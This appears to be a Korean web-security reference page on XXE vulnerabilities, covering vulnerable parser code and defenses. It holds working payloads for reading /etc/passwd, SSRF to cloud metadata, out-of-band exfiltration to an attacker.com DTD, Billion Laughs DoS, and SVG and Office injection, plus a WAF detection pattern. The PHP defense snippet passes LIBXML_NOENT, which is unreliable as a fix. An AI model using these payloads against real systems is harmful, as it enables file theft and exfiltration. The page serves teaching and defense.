상위: Web Security
요약
XXE(XML External Entity)는 XML 파서가 외부 엔티티를 처리할 때 발생하는 취약점입니다. 서버의 로컬 파일 읽기, SSRF, DoS 공격 등이 가능합니다.
공격 원리
XML 엔티티란?
<!-- 내부 엔티티 정의 -->
<!DOCTYPE note [
<!ENTITY company "My Company">
]>
<note>
<to>&company;</to> <!-- "My Company"로 치환 -->
</note>
외부 엔티티 (위험!)
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note>
<content>&xxe;</content> <!-- /etc/passwd 내용이 삽입됨 -->
</note>
공격 유형
1. 로컬 파일 읽기
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<content>&xxe;</content>
</data>
응답:
<data>
<content>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</content>
</data>
2. SSRF (내부 네트워크 접근)
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>
3. Blind XXE (Out-of-Band)
서버 응답에 데이터가 포함되지 않을 때:
공격자 서버 (evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
악성 XML:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<data>test</data>
결과:
공격자 서버 로그:
GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1
4. DoS (Billion Laughs Attack)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
→ 수 GB의 메모리 소모로 서버 다운
5. Error-based XXE
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<data>test</data>
에러 메시지:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash...
↑
파일 내용 노출
취약한 코드
Java (취약)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(xmlInput); // XXE 취약!
Python (취약)
from lxml import etree
tree = etree.parse(xml_file) # XXE 취약!
PHP (취약)
$doc = new DOMDocument();
$doc->loadXML($xml); // XXE 취약!
방어 방법
1. 외부 엔티티 비활성화
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 외부 엔티티 비활성화
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
Python (lxml):
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False
)
tree = etree.parse(xml_file, parser)
Python (defusedxml - 권장):
import defusedxml.ElementTree as ET
tree = ET.parse(xml_file) # 기본적으로 안전
PHP:
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
2. JSON 사용
XML 대신 JSON 사용 (XXE 취약점 없음)
# XML 대신 JSON API
import json
data = json.loads(request.body)
3. WAF 규칙
# 의심스러운 패턴 차단
Rule: Block XXE
Pattern: /<!ENTITY|<!DOCTYPE.*\[|SYSTEM\s+['"]/i
Action: Block
취약한 기능
| 기능 | 위험 |
|---|---|
| XML 파일 업로드 | 높음 |
| SOAP API | 높음 |
| SVG 이미지 처리 | 높음 |
| Office 문서 처리 (DOCX, XLSX) | 높음 |
| RSS/Atom 피드 파싱 | 중간 |
| SAML 인증 | 높음 |
SVG XXE
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="0" y="20">&xxe;</text>
</svg>
Office 문서 XXE
DOCX, XLSX 파일은 내부적으로 XML 파일들의 ZIP 압축:
unzip document.docx
# word/document.xml 수정하여 XXE 삽입
zip -r malicious.docx *
테스트 페이로드
<!-- 기본 파일 읽기 -->
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
<!-- SSRF -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- PHP wrapper -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
테스트 도구
| 도구 | 용도 |
|---|---|
| Burp Suite | 수동 테스트 |
| XXEinjector | 자동화 XXE 테스트 |
| OWASP ZAP | 통합 스캐너 |
관련 공격
- SSRF - XXE를 통한 내부 네트워크 접근
- Path Traversal - 파일 시스템 탐색
- Command Injection - 일부 환경에서 명령어 실행 가능